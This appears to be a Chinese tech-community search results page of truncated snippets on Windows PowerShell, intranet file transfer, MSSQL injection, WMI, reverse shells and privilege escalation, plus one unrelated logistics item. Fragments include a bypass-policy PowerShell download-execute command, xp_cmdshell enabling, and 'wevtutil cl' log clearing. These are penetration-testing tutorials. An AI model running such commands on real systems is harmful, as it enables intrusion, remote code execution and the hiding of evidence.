首页
学习
活动
专区
圈层
工具
发布

易学易用的Windows PowerShell

Windows PowerShell 是微软为 Windows 环境所开发的 shell 及脚本语言技术,这项全新的技术提供了丰富的控制与自动化的系统管理能力;而“脚本语言”(scripting languages...Windows PowerShell 是以 .NET 技术为基础,并且与现有的 WSH 保持回溯兼容,因此 Windows PowerShell 的脚本程序不仅能存取 .NET CLR,也能使用现有的...下载、安装、执行 Windows PowerShell Windows PowerShell 可安装于 Windows XP 以及之后的客户端或服务器端 Windows 操作系统,包括: • 客户端...:Windows XP、Windows XP Service Pack 1、Windows XP Service Pack 2、Windows Vista • 服务端:Windows Server...善用 Windows PowerShell Windows PowerShell 将 Windows 环境各自分离的脚本语言(WSH)和操作指令重新紧密黏合,并且让 Windows 拥有与 UNIX

1.9K60
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【内网渗透】Windows下的内网传输技术

    趁着现在不忙(才不是偷懒)赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术: 有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载...上传与下载 ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。 例如需要下载一个hello.txt到靶机中: ? 写入后,靶机中会生成一个ftp.txt文件: ?...Part.3 Powershell Powershell Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。...Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。...Part.5 certutil certutil Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件

    2.4K30

    经典vbs代码收集「建议收藏」

    调用Windows Media Player并管理   13. 调用Windows Live Messenger并管理   14....(包括子文件夹) VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标) set fso=createobject(“scripting.filesystemobject...,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了) Dim Wsh Set Wsh = WScript.CreateObject...好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了...而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下: set wsh=createobject(“wscript.shell”) ‘创建一个wsh对象 a=wsh.run (“cmd.exe

    2.1K30

    mssql注入

    一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情 使用'wscript.shell'对象建立了一个记事本的实例: declare...如果还没有对该 Windows NT 登录授予 SQL Server 访问权限,那么将自动对其授予访问权限。 [@rolename =] 'role' 要将登录添加到的固定服务器角色的名称。...提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value; keyword2=value." 在 Microsoft?...有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。...与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。

    4.4K80

    Windows WMI 详解(一)

    WMI简介 WMI全称为Windows Management Instrumentation,即Windows管理规范,是Windows 2K/XP管理系统的核心。...3)通过连接默认的命令空间,可以看到如下内容,如图1-3所示。 4)通过点击“查询”模块,可执行WQL语句对所需要的内容进行查询,如图1-4所示。5)在此输入我们要执行的WQL语句。...Powershell是windows下功能很强大的脚本语言,其内部包含了及其丰富与WMI进行交互的功能。9)通过Powershell与WMI进行更多的交互,如图1-7所示。...1.PowerShellPowerShell是Windows操作系统下非常强大的脚本语言,可以通过PowerShell管理Windows系统中的所有功能。...WMI交互时更具有一定的灵活性,下述为Powershell可与WMI交互的功能。

    2.1K10

    渗透技巧 | Windows上传并执行恶意代码的N种姿势

    下载方法 Powershell powershell是最著名的一种方法了,一般的文件下载命令如下 powershell -exec bypass -c (new-object System.Net.WebClient...可以使用Certutil转储并显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件,并验证证书、密钥对和证书链。...7以后系统中,微软有一个名为PubPrn.vbs的WSH脚本,其中使用了GetObject(),并且参数可控,可以进行WSH注入攻击 C:\Windows\System32\Printing_Admin_Scripts...,其中用到CreateObject()实例化 Scripting.Dictionary存在劫持后导致代码执行 cscript /b C:\Windows\System32\slmgr.vbs winrm...NET程序集最初只是读取权限,为了枚举与二进制文件相关联的方法和属性,又将权限更改为执行。所以这种方法只能执行C#编译的程序。

    4.3K51

    Windows上传并执行恶意代码的N种姿势

    下载方法 Powershell powershell是最著名的一种方法了,一般的文件下载命令如下 powershell -exec bypass -c (new-object System.Net.WebClient...可以使用Certutil转储并显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件,并验证证书、密钥对和证书链。...7以后系统中,微软有一个名为PubPrn.vbs的WSH脚本,其中使用了GetObject(),并且参数可控,可以进行WSH注入攻击 C:\Windows\System32\Printing_Admin_Scripts...,其中用到CreateObject()实例化 Scripting.Dictionary存在劫持后导致代码执行 cscript /b C:\Windows\System32\slmgr.vbs winrm...NET程序集最初只是读取权限,为了枚举与二进制文件相关联的方法和属性,又将权限更改为执行。所以这种方法只能执行C#编译的程序。

    5.9K31

    Windows文件下载执行的15种姿势

    当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢? 一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。...---- 1、PowerShell PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。...3、certutil 用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。...,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。...15、pubprn.vbs 在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts

    4.5K11

    PowerShell 反弹渗透技巧

    Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问....NET CLR,也能使用现有的COM技术,同时也包含了数种系统管理工具、简易且一致的语法,提升管理者的管理能力,自Windows 7 开始一直到Windows 10 包括服务器Windows Server...系统中,都将内置 PowerShell,其可作为白名单的一种绕过方式,也让渗透变得更加有趣。...PowerShell 基本反弹 生成PowerShell 脚本文件 shell.ps1 并将其放入到Web服务器目录下。...C:\Users\lyshark>wevtutil cl "windows powershell" C:\Users\lyshark>wevtutil cl "security" C:\Users\lyshark

    1K20

    Meerkat:一款针对Windows终端的信息收集与网络侦查PowerShell工具

    Meerkat是一款针对Windows终端的信息收集与网络侦查工具,该工具由多种PowerShell模块组成,且不需要预先部署代理,可以帮助广大研究人员针对Windows目标执行包括事件响应分类、威胁搜寻...工具特性 1、轻量级,体积小; 2、在目标设备上产生的影响小,不会留下过多痕迹; 3、利用PowerShell & WMI/CIM实现其功能; 4、编码风格规范,支持代码审查; 5、没使用任何DLL或已编译的组件...; 6、标准化输出默认格式为.csv,可以轻松支持JSON和XML等数据格式; 工具要求 1、要求扫描设备上支持PowerShell 5.0+; 2、要求目标设备上支持PowerShell 3.0+,如果使用...工具运行 下列命令即可将输出结果存储至「C:\Users\YourName\Meerkat\」: Invoke-Meerkat 需要注意的是,如果工具脚本未使用管理员权限运行,则下列模块将不会返回任何结果...输出文件 许可证协议 本项目的开发与发布遵循GPL-3.0开源许可证协议。

    46710

    对物流园区建设的思考与建议

    物流园区未能发挥期望的经济、社会效应,而这类问题归根结底是各方未能领会物流园区的内涵与实质,片面追求建设浪潮。本文对物流园区进行了再思考,希望能给业内园区建设提供些参考性意见。...一、对物流园区功能作用的思考 物流园区是为了实现物流设施集约化和物流运作共同化而集中建设的物流设施群和物流集结地。...二、对物流园区的选址的思考 对于涵盖多环节的物流行业来说,物流活动的协同合作尤为重要,物流效率即取决物流流程链的效率,取决各环节物流组织的协同能力。...三、对物流园区规划的风险的思考 物流园区规划的风险是指在物流园区规划的过程中,由于各种原因导致某些风险因素的发生,从而导致规划的结果相对于其效果的不利变化。...五、对物流园区规划的风险的思考 物流园区规划的风险是指在物流园区规划的过程中,由于各种原因导致某些风险因素的发生,从而导致规划的结果相对于其效果的不利变化。

    1.6K20

    windows提权看这一篇就够了

    windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏...提权从目的可分为纵向提权与横向提权: 纵向提权:低权限角色获得高权限角色的权限。(最常见的) 横向提权:获取同级别角色的权限。...原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。...对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。...'xp_cmdshell', 1 GO RECONFIGURE GO exec master..xp_cmdshell "whoami" -- MYSQL提权 MOF提权 简介:MOF文件是mysql

    17.9K31
    领券